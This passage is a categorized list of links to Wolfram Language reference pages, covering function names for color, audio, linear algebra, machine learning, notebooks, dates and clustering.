[Black](http://reference.wolfram.com/language/ref/Black.html), [Blend](http://reference.wolfram.com/language/ref/Blend.html), [Blue](http://reference.wolfram.com/language/ref/Blue.html), [Brown](http://reference.wolfram.com/language/ref/Brown.html), [ChromaticityPlot](http://reference.wolfram.com/language/ref/ChromaticityPlot.html), [ChromaticityPlot3D](http://reference.wolfram.com/language/ref/ChromaticityPlot3D.html), [CMYKColor](http://reference.wolfram.com/language/ref/CMYKColor.html), [ColorBalance](http://reference.wolfram.com/language/ref/ColorBalance.html), [ColorCombine](http://reference.wolfram.com/language/ref/ColorCombine.html), [ColorConvert](http://reference.wolfram.com/language/ref/ColorConvert.html), [ColorCoverage](http://reference.wolfram.com/language/ref/ColorCoverage.html), [ColorData](http://reference.wolfram.com/language/ref/ColorData.html), [ColorDataFunction](http://reference.wolfram.com/language/ref/ColorDataFunction.html), [ColorDetect](http://reference.wolfram.com/language/ref/ColorDetect.html), [ColorDistance](http://reference.wolfram.com/language/ref/ColorDistance.html), [ColorFunction](http://reference.wolfram.com/language/ref/ColorFunction.html), [ColorFunctionScaling](http://reference.wolfram.com/language/ref/ColorFunctionScaling.html), [Colorize](http://reference.wolfram.com/language/ref/Colorize.html), [ColorNegate](http://reference.wolfram.com/language/ref/ColorNegate.html), [ColorProfileData](http://reference.wolfram.com/language/ref/ColorProfileData.html), [ColorQ](http://reference.wolfram.com/language/ref/ColorQ.html), [ColorQuantize](http://reference.wolfram.com/language/ref/ColorQuantize.html), [ColorReplace](http://reference.wolfram.com/language/ref/ColorReplace.html), [ColorRules](http://reference.wolfram.com/language/ref/ColorRules.html), [ColorSeparate](http://reference.wolfram.com/language/ref/ColorSeparate.html), [ColorSetter](http://reference.wolfram.com/language/ref/ColorSetter.html), [ColorsNear](http://reference.wolfram.com/language/ref/ColorsNear.html), [ColorSpace](http://reference.wolfram.com/language/ref/ColorSpace.html), [ColorToneMapping](http://reference.wolfram.com/language/ref/ColorToneMapping.html), [Cyan](http://reference.wolfram.com/language/ref/Cyan.html), [Darker](http://reference.wolfram.com/language/ref/Darker.html), [Dithering](http://reference.wolfram.com/language/ref/Dithering.html), [FindMatchingColor](http://reference.wolfram.com/language/ref/FindMatchingColor.html), [Glow](http://reference.wolfram.com/language/ref/Glow.html), [Gray](http://reference.wolfram.com/language/ref/Gray.html), [GrayLevel](http://reference.wolfram.com/language/ref/GrayLevel.html), [Green](http://reference.wolfram.com/language/ref/Green.html), [Hue](http://reference.wolfram.com/language/ref/Hue.html), [ImageColorSpace](http://reference.wolfram.com/language/ref/ImageColorSpace.html), [LABColor](http://reference.wolfram.com/language/ref/LABColor.html), [LCHColor](http://reference.wolfram.com/language/ref/LCHColor.html), [LightBlue](http://reference.wolfram.com/language/ref/LightBlue.html), [LightBrown](http://reference.wolfram.com/language/ref/LightBrown.html), [LightCyan](http://reference.wolfram.com/language/ref/LightCyan.html), [Lighter](http://reference.wolfram.com/language/ref/Lighter.html), [LightGray](http://reference.wolfram.com/language/ref/LightGray.html), [LightGreen](http://reference.wolfram.com/language/ref/LightGreen.html), [LightMagenta](http://reference.wolfram.com/language/ref/LightMagenta.html), [LightOrange](http://reference.wolfram.com/language/ref/LightOrange.html), [LightPink](http://reference.wolfram.com/language/ref/LightPink.html), [LightPurple](http://reference.wolfram.com/language/ref/LightPurple.html), [LightRed](http://reference.wolfram.com/language/ref/LightRed.html), [LightYellow](http://reference.wolfram.com/language/ref/LightYellow.html), [LUVColor](http://reference.wolfram.com/language/ref/LUVColor.html), [Magenta](http://reference.wolfram.com/language/ref/Magenta.html), [MaxColorDistance](http://reference.wolfram.com/language/ref/MaxColorDistance.html), [MinColorDistance](http://reference.wolfram.com/language/ref/MinColorDistance.html), [Orange](http://reference.wolfram.com/language/ref/Orange.html), [Pink](http://reference.wolfram.com/language/ref/Pink.html), [Purple](http://reference.wolfram.com/language/ref/Purple.html), [RandomColor](http://reference.wolfram.com/language/ref/RandomColor.html), [Red](http://reference.wolfram.com/language/ref/Red.html), [RGBColor](http://reference.wolfram.com/language/ref/RGBColor.html), [StreamColorFunction](http://reference.wolfram.com/language/ref/StreamColorFunction.html), [StreamColorFunctionScaling](http://reference.wolfram.com/language/ref/StreamColorFunctionScaling.html), [VectorColorFunction](http://reference.wolfram.com/language/ref/VectorColorFunction.html), [VectorColorFunctionScaling](http://reference.wolfram.com/language/ref/VectorColorFunctionScaling.html), [White](http://reference.wolfram.com/language/ref/White.html), [WhitePoint](http://reference.wolfram.com/language/ref/WhitePoint.html), [XYZColor](http://reference.wolfram.com/language/ref/XYZColor.html), [Yellow](http://reference.wolfram.com/language/ref/Yellow.html)
### Audio (69)
[AllowedFrequencyRange](http://reference.wolfram.com/language/ref/AllowedFrequencyRange.html), [Audio](http://reference.wolfram.com/language/ref/Audio.html), [AudioAmplify](http://reference.wolfram.com/language/ref/AudioAmplify.html), [AudioAnnotate](http://reference.wolfram.com/language/ref/AudioAnnotate.html), [AudioAnnotationLookup](http://reference.wolfram.com/language/ref/AudioAnnotationLookup.html), [AudioBlockMap](http://reference.wolfram.com/language/ref/AudioBlockMap.html), [AudioCapture](http://reference.wolfram.com/language/ref/AudioCapture.html), [AudioChannelAssignment](http://reference.wolfram.com/language/ref/AudioChannelAssignment.html), [AudioChannelCombine](http://reference.wolfram.com/language/ref/AudioChannelCombine.html), [AudioChannelMix](http://reference.wolfram.com/language/ref/AudioChannelMix.html), [AudioChannels](http://reference.wolfram.com/language/ref/AudioChannels.html), [AudioChannelSeparate](http://reference.wolfram.com/language/ref/AudioChannelSeparate.html), [AudioData](http://reference.wolfram.com/language/ref/AudioData.html), [AudioDelay](http://reference.wolfram.com/language/ref/AudioDelay.html), [AudioDelete](http://reference.wolfram.com/language/ref/AudioDelete.html), [AudioDistance](http://reference.wolfram.com/language/ref/AudioDistance.html), [AudioFade](http://reference.wolfram.com/language/ref/AudioFade.html), [AudioFrequencyShift](http://reference.wolfram.com/language/ref/AudioFrequencyShift.html), [AudioGenerator](http://reference.wolfram.com/language/ref/AudioGenerator.html), [AudioInputDevice](http://reference.wolfram.com/language/ref/AudioInputDevice.html), [AudioInsert](http://reference.wolfram.com/language/ref/AudioInsert.html), [AudioIntervals](http://reference.wolfram.com/language/ref/AudioIntervals.html), [AudioJoin](http://reference.wolfram.com/language/ref/AudioJoin.html), [AudioLabel](http://reference.wolfram.com/language/ref/AudioLabel.html), [AudioLength](http://reference.wolfram.com/language/ref/AudioLength.html), [AudioLocalMeasurements](http://reference.wolfram.com/language/ref/AudioLocalMeasurements.html), [AudioLooping](http://reference.wolfram.com/language/ref/AudioLooping.html), [AudioLoudness](http://reference.wolfram.com/language/ref/AudioLoudness.html), [AudioMeasurements](http://reference.wolfram.com/language/ref/AudioMeasurements.html), [AudioNormalize](http://reference.wolfram.com/language/ref/AudioNormalize.html), [AudioOutputDevice](http://reference.wolfram.com/language/ref/AudioOutputDevice.html), [AudioOverlay](http://reference.wolfram.com/language/ref/AudioOverlay.html), [AudioPad](http://reference.wolfram.com/language/ref/AudioPad.html), [AudioPan](http://reference.wolfram.com/language/ref/AudioPan.html), [AudioPartition](http://reference.wolfram.com/language/ref/AudioPartition.html), [AudioPause](http://reference.wolfram.com/language/ref/AudioPause.html), [AudioPitchShift](http://reference.wolfram.com/language/ref/AudioPitchShift.html), [AudioPlay](http://reference.wolfram.com/language/ref/AudioPlay.html), [AudioPlot](http://reference.wolfram.com/language/ref/AudioPlot.html), [AudioQ](http://reference.wolfram.com/language/ref/AudioQ.html), [AudioRecord](http://reference.wolfram.com/language/ref/AudioRecord.html), [AudioReplace](http://reference.wolfram.com/language/ref/AudioReplace.html), [AudioResample](http://reference.wolfram.com/language/ref/AudioResample.html), [AudioReverb](http://reference.wolfram.com/language/ref/AudioReverb.html), [AudioSampleRate](http://reference.wolfram.com/language/ref/AudioSampleRate.html), [AudioSpectralMap](http://reference.wolfram.com/language/ref/AudioSpectralMap.html), [AudioSpectralTransformation](http://reference.wolfram.com/language/ref/AudioSpectralTransformation.html), [AudioSplit](http://reference.wolfram.com/language/ref/AudioSplit.html), [AudioStop](http://reference.wolfram.com/language/ref/AudioStop.html), [AudioStream](http://reference.wolfram.com/language/ref/AudioStream.html), [AudioStreams](http://reference.wolfram.com/language/ref/AudioStreams.html), [AudioTimeStretch](http://reference.wolfram.com/language/ref/AudioTimeStretch.html), [AudioTrim](http://reference.wolfram.com/language/ref/AudioTrim.html), [AudioType](http://reference.wolfram.com/language/ref/AudioType.html), [ConformAudio](http://reference.wolfram.com/language/ref/ConformAudio.html), [Duration](http://reference.wolfram.com/language/ref/Duration.html), [MaxDuration](http://reference.wolfram.com/language/ref/MaxDuration.html), [PaddingSize](http://reference.wolfram.com/language/ref/PaddingSize.html), [PartitionGranularity](http://reference.wolfram.com/language/ref/PartitionGranularity.html), [PitchRecognize](http://reference.wolfram.com/language/ref/PitchRecognize.html), [RemoveAudioStream](http://reference.wolfram.com/language/ref/RemoveAudioStream.html), [SpeechRecognize](http://reference.wolfram.com/language/ref/SpeechRecognize.html), [SpeechSynthesize](http://reference.wolfram.com/language/ref/SpeechSynthesize.html), [VoiceStyleData](http://reference.wolfram.com/language/ref/VoiceStyleData.html), [$AudioInputDevices](http://reference.wolfram.com/language/ref/%24AudioInputDevices.html), [$AudioOutputDevices](http://reference.wolfram.com/language/ref/%24AudioOutputDevices.html), [$DefaultAudioInputDevice](http://reference.wolfram.com/language/ref/%24DefaultAudioInputDevice.html), [$DefaultAudioOutputDevice](http://reference.wolfram.com/language/ref/%24DefaultAudioOutputDevice.html), [$VoiceStyles](http://reference.wolfram.com/language/ref/%24VoiceStyles.html)
### Linear Algebra (62)
[AllowedHeads](http://reference.wolfram.com/language/ref/AllowedHeads.html), [AntihermitianMatrixQ](http://reference.wolfram.com/language/ref/AntihermitianMatrixQ.html), [AntisymmetricMatrixQ](http://reference.wolfram.com/language/ref/AntisymmetricMatrixQ.html), [CharacteristicPolynomial](http://reference.wolfram.com/language/ref/CharacteristicPolynomial.html), [CholeskyDecomposition](http://reference.wolfram.com/language/ref/CholeskyDecomposition.html), [ConjugateTranspose](http://reference.wolfram.com/language/ref/ConjugateTranspose.html), [Diagonal](http://reference.wolfram.com/language/ref/Diagonal.html), [DiagonalizableMatrixQ](http://reference.wolfram.com/language/ref/DiagonalizableMatrixQ.html), [DiagonalMatrixQ](http://reference.wolfram.com/language/ref/DiagonalMatrixQ.html), [DiscreteLyapunovSolve](http://reference.wolfram.com/language/ref/DiscreteLyapunovSolve.html), [DiscreteRiccatiSolve](http://reference.wolfram.com/language/ref/DiscreteRiccatiSolve.html), [Distribute](http://reference.wolfram.com/language/ref/Distribute.html), [Eigensystem](http://reference.wolfram.com/language/ref/Eigensystem.html), [Eigenvalues](http://reference.wolfram.com/language/ref/Eigenvalues.html), [Eigenvectors](http://reference.wolfram.com/language/ref/Eigenvectors.html), [HermiteDecomposition](http://reference.wolfram.com/language/ref/HermiteDecomposition.html), [HermitianMatrixQ](http://reference.wolfram.com/language/ref/HermitianMatrixQ.html), [HessenbergDecomposition](http://reference.wolfram.com/language/ref/HessenbergDecomposition.html), [IndefiniteMatrixQ](http://reference.wolfram.com/language/ref/IndefiniteMatrixQ.html), [JordanDecomposition](http://reference.wolfram.com/language/ref/JordanDecomposition.html), [LinearSolve](http://reference.wolfram.com/language/ref/LinearSolve.html), [LinearSolveFunction](http://reference.wolfram.com/language/ref/LinearSolveFunction.html), [LowerTriangularize](http://reference.wolfram.com/language/ref/LowerTriangularize.html), [LowerTriangularMatrixQ](http://reference.wolfram.com/language/ref/LowerTriangularMatrixQ.html), [LUDecomposition](http://reference.wolfram.com/language/ref/LUDecomposition.html), [LyapunovSolve](http://reference.wolfram.com/language/ref/LyapunovSolve.html), [MatrixExp](http://reference.wolfram.com/language/ref/MatrixExp.html), [MatrixFunction](http://reference.wolfram.com/language/ref/MatrixFunction.html), [MatrixLog](http://reference.wolfram.com/language/ref/MatrixLog.html), [MatrixPower](http://reference.wolfram.com/language/ref/MatrixPower.html), [MatrixRank](http://reference.wolfram.com/language/ref/MatrixRank.html), [Minors](http://reference.wolfram.com/language/ref/Minors.html), [NegativeDefiniteMatrixQ](http://reference.wolfram.com/language/ref/NegativeDefiniteMatrixQ.html), [NegativeSemidefiniteMatrixQ](http://reference.wolfram.com/language/ref/NegativeSemidefiniteMatrixQ.html), [Normalize](http://reference.wolfram.com/language/ref/Normalize.html), [Normalized](http://reference.wolfram.com/language/ref/Normalized.html), [NormalMatrixQ](http://reference.wolfram.com/language/ref/NormalMatrixQ.html), [NullSpace](http://reference.wolfram.com/language/ref/NullSpace.html), [Orthogonalize](http://reference.wolfram.com/language/ref/Orthogonalize.html), [OrthogonalMatrixQ](http://reference.wolfram.com/language/ref/OrthogonalMatrixQ.html), [Permanent](http://reference.wolfram.com/language/ref/Permanent.html), [PositiveDefiniteMatrixQ](http://reference.wolfram.com/language/ref/PositiveDefiniteMatrixQ.html), [PositiveSemidefiniteMatrixQ](http://reference.wolfram.com/language/ref/PositiveSemidefiniteMatrixQ.html), [PrincipalComponents](http://reference.wolfram.com/language/ref/PrincipalComponents.html), [Projection](http://reference.wolfram.com/language/ref/Projection.html), [PseudoInverse](http://reference.wolfram.com/language/ref/PseudoInverse.html), [QRDecomposition](http://reference.wolfram.com/language/ref/QRDecomposition.html), [RealBlockDiagonalForm](http://reference.wolfram.com/language/ref/RealBlockDiagonalForm.html), [RiccatiSolve](http://reference.wolfram.com/language/ref/RiccatiSolve.html), [RowReduce](http://reference.wolfram.com/language/ref/RowReduce.html), [SchurDecomposition](http://reference.wolfram.com/language/ref/SchurDecomposition.html), [SingularValueDecomposition](http://reference.wolfram.com/language/ref/SingularValueDecomposition.html), [SingularValueList](http://reference.wolfram.com/language/ref/SingularValueList.html), [SmithDecomposition](http://reference.wolfram.com/language/ref/SmithDecomposition.html), [SquareMatrixQ](http://reference.wolfram.com/language/ref/SquareMatrixQ.html), [SymmetricMatrixQ](http://reference.wolfram.com/language/ref/SymmetricMatrixQ.html), [Transpose](http://reference.wolfram.com/language/ref/Transpose.html), [UnitaryMatrixQ](http://reference.wolfram.com/language/ref/UnitaryMatrixQ.html), [UpperTriangularize](http://reference.wolfram.com/language/ref/UpperTriangularize.html), [UpperTriangularMatrixQ](http://reference.wolfram.com/language/ref/UpperTriangularMatrixQ.html), [VectorAngle](http://reference.wolfram.com/language/ref/VectorAngle.html), [ZeroTest](http://reference.wolfram.com/language/ref/ZeroTest.html)
### Machine Learning (60)
[AcceptanceThreshold](http://reference.wolfram.com/language/ref/AcceptanceThreshold.html), [ActiveClassification](http://reference.wolfram.com/language/ref/ActiveClassification.html), [ActiveClassificationObject](http://reference.wolfram.com/language/ref/ActiveClassificationObject.html), [ActivePrediction](http://reference.wolfram.com/language/ref/ActivePrediction.html), [ActivePredictionObject](http://reference.wolfram.com/language/ref/ActivePredictionObject.html), [AmbiguityFunction](http://reference.wolfram.com/language/ref/AmbiguityFunction.html), [AmbiguityList](http://reference.wolfram.com/language/ref/AmbiguityList.html), [AnomalyDetection](http://reference.wolfram.com/language/ref/AnomalyDetection.html), [AnomalyDetectorFunction](http://reference.wolfram.com/language/ref/AnomalyDetectorFunction.html), [AssumeDeterministic](http://reference.wolfram.com/language/ref/AssumeDeterministic.html), [AudioIdentify](http://reference.wolfram.com/language/ref/AudioIdentify.html), [BayesianMaximization](http://reference.wolfram.com/language/ref/BayesianMaximization.html), [BayesianMaximizationObject](http://reference.wolfram.com/language/ref/BayesianMaximizationObject.html), [BayesianMinimization](http://reference.wolfram.com/language/ref/BayesianMinimization.html), [BayesianMinimizationObject](http://reference.wolfram.com/language/ref/BayesianMinimizationObject.html), [ClassifierFunction](http://reference.wolfram.com/language/ref/ClassifierFunction.html), [ClassifierMeasurements](http://reference.wolfram.com/language/ref/ClassifierMeasurements.html), [ClassifierMeasurementsObject](http://reference.wolfram.com/language/ref/ClassifierMeasurementsObject.html), [Classify](http://reference.wolfram.com/language/ref/Classify.html), [ClassPriors](http://reference.wolfram.com/language/ref/ClassPriors.html), [DeleteAnomalies](http://reference.wolfram.com/language/ref/DeleteAnomalies.html), [DimensionReduce](http://reference.wolfram.com/language/ref/DimensionReduce.html), [DimensionReducerFunction](http://reference.wolfram.com/language/ref/DimensionReducerFunction.html), [DimensionReduction](http://reference.wolfram.com/language/ref/DimensionReduction.html), [FacialFeatures](http://reference.wolfram.com/language/ref/FacialFeatures.html), [FeatureDistance](http://reference.wolfram.com/language/ref/FeatureDistance.html), [FeatureExtract](http://reference.wolfram.com/language/ref/FeatureExtract.html), [FeatureExtraction](http://reference.wolfram.com/language/ref/FeatureExtraction.html), [FeatureExtractor](http://reference.wolfram.com/language/ref/FeatureExtractor.html), [FeatureExtractorFunction](http://reference.wolfram.com/language/ref/FeatureExtractorFunction.html), [FeatureNames](http://reference.wolfram.com/language/ref/FeatureNames.html), [FeatureNearest](http://reference.wolfram.com/language/ref/FeatureNearest.html), [FeatureSpacePlot](http://reference.wolfram.com/language/ref/FeatureSpacePlot.html), [FeatureSpacePlot3D](http://reference.wolfram.com/language/ref/FeatureSpacePlot3D.html), [FeatureTypes](http://reference.wolfram.com/language/ref/FeatureTypes.html), [FindAnomalies](http://reference.wolfram.com/language/ref/FindAnomalies.html), [ImageAugmentationLayer](http://reference.wolfram.com/language/ref/ImageAugmentationLayer.html), [ImageBoundingBoxes](http://reference.wolfram.com/language/ref/ImageBoundingBoxes.html), [ImageCases](http://reference.wolfram.com/language/ref/ImageCases.html), [ImageContainsQ](http://reference.wolfram.com/language/ref/ImageContainsQ.html), [ImageContents](http://reference.wolfram.com/language/ref/ImageContents.html), [ImageIdentify](http://reference.wolfram.com/language/ref/ImageIdentify.html), [ImageInstanceQ](http://reference.wolfram.com/language/ref/ImageInstanceQ.html), [IndeterminateThreshold](http://reference.wolfram.com/language/ref/IndeterminateThreshold.html), [InitialEvaluationHistory](http://reference.wolfram.com/language/ref/InitialEvaluationHistory.html), [LearnDistribution](http://reference.wolfram.com/language/ref/LearnDistribution.html), [LearnedDistribution](http://reference.wolfram.com/language/ref/LearnedDistribution.html), [MaxOverlapFraction](http://reference.wolfram.com/language/ref/MaxOverlapFraction.html), [MissingValuePattern](http://reference.wolfram.com/language/ref/MissingValuePattern.html), [Predict](http://reference.wolfram.com/language/ref/Predict.html), [PredictorFunction](http://reference.wolfram.com/language/ref/PredictorFunction.html), [PredictorMeasurements](http://reference.wolfram.com/language/ref/PredictorMeasurements.html), [PredictorMeasurementsObject](http://reference.wolfram.com/language/ref/PredictorMeasurementsObject.html), [RecognitionPrior](http://reference.wolfram.com/language/ref/RecognitionPrior.html), [SequencePredict](http://reference.wolfram.com/language/ref/SequencePredict.html), [SequencePredictorFunction](http://reference.wolfram.com/language/ref/SequencePredictorFunction.html), [SpecificityGoal](http://reference.wolfram.com/language/ref/SpecificityGoal.html), [SynthesizeMissingValues](http://reference.wolfram.com/language/ref/SynthesizeMissingValues.html), [UtilityFunction](http://reference.wolfram.com/language/ref/UtilityFunction.html), [ValidationSet](http://reference.wolfram.com/language/ref/ValidationSet.html)
### Notebook (60)
[AutoCopy](http://reference.wolfram.com/language/ref/AutoCopy.html), [CreateCellID](http://reference.wolfram.com/language/ref/CreateCellID.html), [CreateDocument](http://reference.wolfram.com/language/ref/CreateDocument.html), [CreateNotebook](http://reference.wolfram.com/language/ref/CreateNotebook.html), [CreateWindow](http://reference.wolfram.com/language/ref/CreateWindow.html), [DocumentNotebook](http://reference.wolfram.com/language/ref/DocumentNotebook.html), [EvaluationElements](http://reference.wolfram.com/language/ref/EvaluationElements.html), [EvaluationNotebook](http://reference.wolfram.com/language/ref/EvaluationNotebook.html), [InputNotebook](http://reference.wolfram.com/language/ref/InputNotebook.html), [InsertResults](http://reference.wolfram.com/language/ref/InsertResults.html), [Interactive](http://reference.wolfram.com/language/ref/Interactive.html), [Notebook](http://reference.wolfram.com/language/ref/Notebook.html), [NotebookApply](http://reference.wolfram.com/language/ref/NotebookApply.html), [NotebookAutoSave](http://reference.wolfram.com/language/ref/NotebookAutoSave.html), [NotebookClose](http://reference.wolfram.com/language/ref/NotebookClose.html), [NotebookDelete](http://reference.wolfram.com/language/ref/NotebookDelete.html), [NotebookEvaluate](http://reference.wolfram.com/language/ref/NotebookEvaluate.html), [NotebookEventActions](http://reference.wolfram.com/language/ref/NotebookEventActions.html), [NotebookFind](http://reference.wolfram.com/language/ref/NotebookFind.html), [NotebookGet](http://reference.wolfram.com/language/ref/NotebookGet.html), [NotebookImport](http://reference.wolfram.com/language/ref/NotebookImport.html), [NotebookInformation](http://reference.wolfram.com/language/ref/NotebookInformation.html), [NotebookLocate](http://reference.wolfram.com/language/ref/NotebookLocate.html), [NotebookObject](http://reference.wolfram.com/language/ref/NotebookObject.html), [NotebookOpen](http://reference.wolfram.com/language/ref/NotebookOpen.html), [NotebookPrint](http://reference.wolfram.com/language/ref/NotebookPrint.html), [NotebookPut](http://reference.wolfram.com/language/ref/NotebookPut.html), [NotebookRead](http://reference.wolfram.com/language/ref/NotebookRead.html), [Notebooks](http://reference.wolfram.com/language/ref/Notebooks.html), [NotebookSave](http://reference.wolfram.com/language/ref/NotebookSave.html), [NotebookSelection](http://reference.wolfram.com/language/ref/NotebookSelection.html), [NotebookWrite](http://reference.wolfram.com/language/ref/NotebookWrite.html), [ParentNotebook](http://reference.wolfram.com/language/ref/ParentNotebook.html), [Paste](http://reference.wolfram.com/language/ref/Paste.html), [PlaceholderReplace](http://reference.wolfram.com/language/ref/PlaceholderReplace.html), [PrintingStyleEnvironment](http://reference.wolfram.com/language/ref/PrintingStyleEnvironment.html), [PrivateNotebookOptions](http://reference.wolfram.com/language/ref/PrivateNotebookOptions.html), [ScreenStyleEnvironment](http://reference.wolfram.com/language/ref/ScreenStyleEnvironment.html), [ScrollingOptions](http://reference.wolfram.com/language/ref/ScrollingOptions.html), [SelectedNotebook](http://reference.wolfram.com/language/ref/SelectedNotebook.html), [SelectionEvaluate](http://reference.wolfram.com/language/ref/SelectionEvaluate.html), [SelectionMove](http://reference.wolfram.com/language/ref/SelectionMove.html), [SetSelectedNotebook](http://reference.wolfram.com/language/ref/SetSelectedNotebook.html), [ShowSelection](http://reference.wolfram.com/language/ref/ShowSelection.html), [SpellingOptions](http://reference.wolfram.com/language/ref/SpellingOptions.html), [Visible](http://reference.wolfram.com/language/ref/Visible.html), [WindowClickSelect](http://reference.wolfram.com/language/ref/WindowClickSelect.html), [WindowElements](http://reference.wolfram.com/language/ref/WindowElements.html), [WindowFloating](http://reference.wolfram.com/language/ref/WindowFloating.html), [WindowFrame](http://reference.wolfram.com/language/ref/WindowFrame.html), [WindowFrameElements](http://reference.wolfram.com/language/ref/WindowFrameElements.html), [WindowMargins](http://reference.wolfram.com/language/ref/WindowMargins.html), [WindowOpacity](http://reference.wolfram.com/language/ref/WindowOpacity.html), [WindowSize](http://reference.wolfram.com/language/ref/WindowSize.html), [WindowStatusArea](http://reference.wolfram.com/language/ref/WindowStatusArea.html), [WindowTitle](http://reference.wolfram.com/language/ref/WindowTitle.html), [WindowToolbars](http://reference.wolfram.com/language/ref/WindowToolbars.html), [WrapAround](http://reference.wolfram.com/language/ref/WrapAround.html), [$Canceled](http://reference.wolfram.com/language/ref/%24Canceled.html), [$Notebooks](http://reference.wolfram.com/language/ref/%24Notebooks.html)
### Date (59)
[AbsoluteTime](http://reference.wolfram.com/language/ref/AbsoluteTime.html), [BusinessDayQ](http://reference.wolfram.com/language/ref/BusinessDayQ.html), [CalendarConvert](http://reference.wolfram.com/language/ref/CalendarConvert.html), [CalendarData](http://reference.wolfram.com/language/ref/CalendarData.html), [CalendarType](http://reference.wolfram.com/language/ref/CalendarType.html), [CurrentDate](http://reference.wolfram.com/language/ref/CurrentDate.html), [DateBounds](http://reference.wolfram.com/language/ref/DateBounds.html), [Dated](http://reference.wolfram.com/language/ref/Dated.html), [DateDifference](http://reference.wolfram.com/language/ref/DateDifference.html), [DateFormat](http://reference.wolfram.com/language/ref/DateFormat.html), [DateFunction](http://reference.wolfram.com/language/ref/DateFunction.html), [DateObject](http://reference.wolfram.com/language/ref/DateObject.html), [DateObjectQ](http://reference.wolfram.com/language/ref/DateObjectQ.html), [DateOverlapsQ](http://reference.wolfram.com/language/ref/DateOverlapsQ.html), [DatePattern](http://reference.wolfram.com/language/ref/DatePattern.html), [DatePlus](http://reference.wolfram.com/language/ref/DatePlus.html), [DateRange](http://reference.wolfram.com/language/ref/DateRange.html), [DateString](http://reference.wolfram.com/language/ref/DateString.html), [DateValue](http://reference.wolfram.com/language/ref/DateValue.html), [DateWithinQ](http://reference.wolfram.com/language/ref/DateWithinQ.html), [DayCount](http://reference.wolfram.com/language/ref/DayCount.html), [DayCountConvention](http://reference.wolfram.com/language/ref/DayCountConvention.html), [DaylightQ](http://reference.wolfram.com/language/ref/DaylightQ.html), [DayMatchQ](http://reference.wolfram.com/language/ref/DayMatchQ.html), [DayName](http://reference.wolfram.com/language/ref/DayName.html), [DayPlus](http://reference.wolfram.com/language/ref/DayPlus.html), [DayRange](http://reference.wolfram.com/language/ref/DayRange.html), [DayRound](http://reference.wolfram.com/language/ref/DayRound.html), [Friday](http://reference.wolfram.com/language/ref/Friday.html), [FromAbsoluteTime](http://reference.wolfram.com/language/ref/FromAbsoluteTime.html), [FromJulianDate](http://reference.wolfram.com/language/ref/FromJulianDate.html), [FromUnixTime](http://reference.wolfram.com/language/ref/FromUnixTime.html), [HolidayCalendar](http://reference.wolfram.com/language/ref/HolidayCalendar.html), [JulianDate](http://reference.wolfram.com/language/ref/JulianDate.html), [LeapYearQ](http://reference.wolfram.com/language/ref/LeapYearQ.html), [LocalTime](http://reference.wolfram.com/language/ref/LocalTime.html), [LocalTimeZone](http://reference.wolfram.com/language/ref/LocalTimeZone.html), [Monday](http://reference.wolfram.com/language/ref/Monday.html), [NextDate](http://reference.wolfram.com/language/ref/NextDate.html), [Now](http://reference.wolfram.com/language/ref/Now.html), [PreviousDate](http://reference.wolfram.com/language/ref/PreviousDate.html), [Saturday](http://reference.wolfram.com/language/ref/Saturday.html), [Sunday](http://reference.wolfram.com/language/ref/Sunday.html), [Thursday](http://reference.wolfram.com/language/ref/Thursday.html), [TimeObject](http://reference.wolfram.com/language/ref/TimeObject.html), [TimeObjectQ](http://reference.wolfram.com/language/ref/TimeObjectQ.html), [TimeZone](http://reference.wolfram.com/language/ref/TimeZone.html), [TimeZoneConvert](http://reference.wolfram.com/language/ref/TimeZoneConvert.html), [TimeZoneOffset](http://reference.wolfram.com/language/ref/TimeZoneOffset.html), [Today](http://reference.wolfram.com/language/ref/Today.html), [Tomorrow](http://reference.wolfram.com/language/ref/Tomorrow.html), [Tuesday](http://reference.wolfram.com/language/ref/Tuesday.html), [UnixTime](http://reference.wolfram.com/language/ref/UnixTime.html), [Wednesday](http://reference.wolfram.com/language/ref/Wednesday.html), [Yesterday](http://reference.wolfram.com/language/ref/Yesterday.html), [$DateStringFormat](http://reference.wolfram.com/language/ref/%24DateStringFormat.html), [$SystemTimeZone](http://reference.wolfram.com/language/ref/%24SystemTimeZone.html), [$TimeZone](http://reference.wolfram.com/language/ref/%24TimeZone.html), [$TimeZoneEntity](http://reference.wolfram.com/language/ref/%24TimeZoneEntity.html)
### Clustering (52)
[BinaryDistance](http://reference.wolfram.com/language/ref/BinaryDistance.html), [BrayCurtisDistance](http://reference.wolfram.com/language/ref/BrayCurtisDistance.html), [CanberraDistance](http://reference.wolfram.com/language/ref/CanberraDistance.html), [CanonicalWarpingCorrespondence](http://reference.wolfram.com/language/ref/CanonicalWarpingCorrespondence.html), [CanonicalWarpingDistance](http://reference.wolfram.com/language/ref/CanonicalWarpingDistance.html), [ChessboardDistance](http://reference.wolfram.com/language/ref/ChessboardDistance.html), [ClusterClassify](http://reference.wolfram.com/language/ref/ClusterClassify.html), [ClusterDissimilarityFunction](http://reference.wolfram.com/language/ref/ClusterDissimilarityFunction.html), [ClusteringTree](http://reference.wolfram.com/language/ref/ClusteringTree.html), [CorrelationDistance](http://reference.wolfram.com/language/ref/CorrelationDistance.html), [CosineDistance](http://reference.wolfram.com/language/ref/CosineDistance.html), [CriterionFunction](http://reference.wolfram.com/language/ref/CriterionFunction.html), [DamerauLevenshteinDistance](http://reference.wolfram.com/language/ref/DamerauLevenshteinDistance.html), [Dendrogram](http://reference.wolfram.com/language/ref/Dendrogram.html), [DiceDissimilarity](http://reference.wolfram.com/language/ref/DiceDissimilarity.html), [DistanceFunction](http://reference.wolfram.com/language/ref/DistanceFunction.html), [DistanceMatrix](http://reference.wolfram.com/language/ref/DistanceMatrix.html), [EditDistance](http://reference.wolfram.com/language/ref/EditDistance.html), [EuclideanDistance](http://reference.wolfram.com/language/ref/EuclideanDistance.html), [FindClusters](http://reference.wolfram.com/language/ref/FindClusters.html), [GapPenalty](http://reference.wolfram.com/language/ref/GapPenalty.html), [HammingDistance](http://reference.wolfram.com/language/ref/HammingDistance.html), [JaccardDissimilarity](http://reference.wolfram.com/language/ref/JaccardDissimilarity.html), [LongestCommonSequence](http://reference.wolfram.com/language/ref/LongestCommonSequence.html), [LongestCommonSequencePositions](http://reference.wolfram.com/language/ref/LongestCommonSequencePositions.html), [LongestCommonSubsequence](http://reference.wolfram.com/language/ref/LongestCommonSubsequence.html), [LongestCommonSubsequencePositions](http://reference.wolfram.com/language/ref/LongestCommonSubsequencePositions.html), [LongestOrderedSequence](http://reference.wolfram.com/language/ref/LongestOrderedSequence.html), [ManhattanDistance](http://reference.wolfram.com/language/ref/ManhattanDistance.html), [MatchingDissimilarity](http://reference.wolfram.com/language/ref/MatchingDissimilarity.html), [MeanShift](http://reference.wolfram.com/language/ref/MeanShift.html), 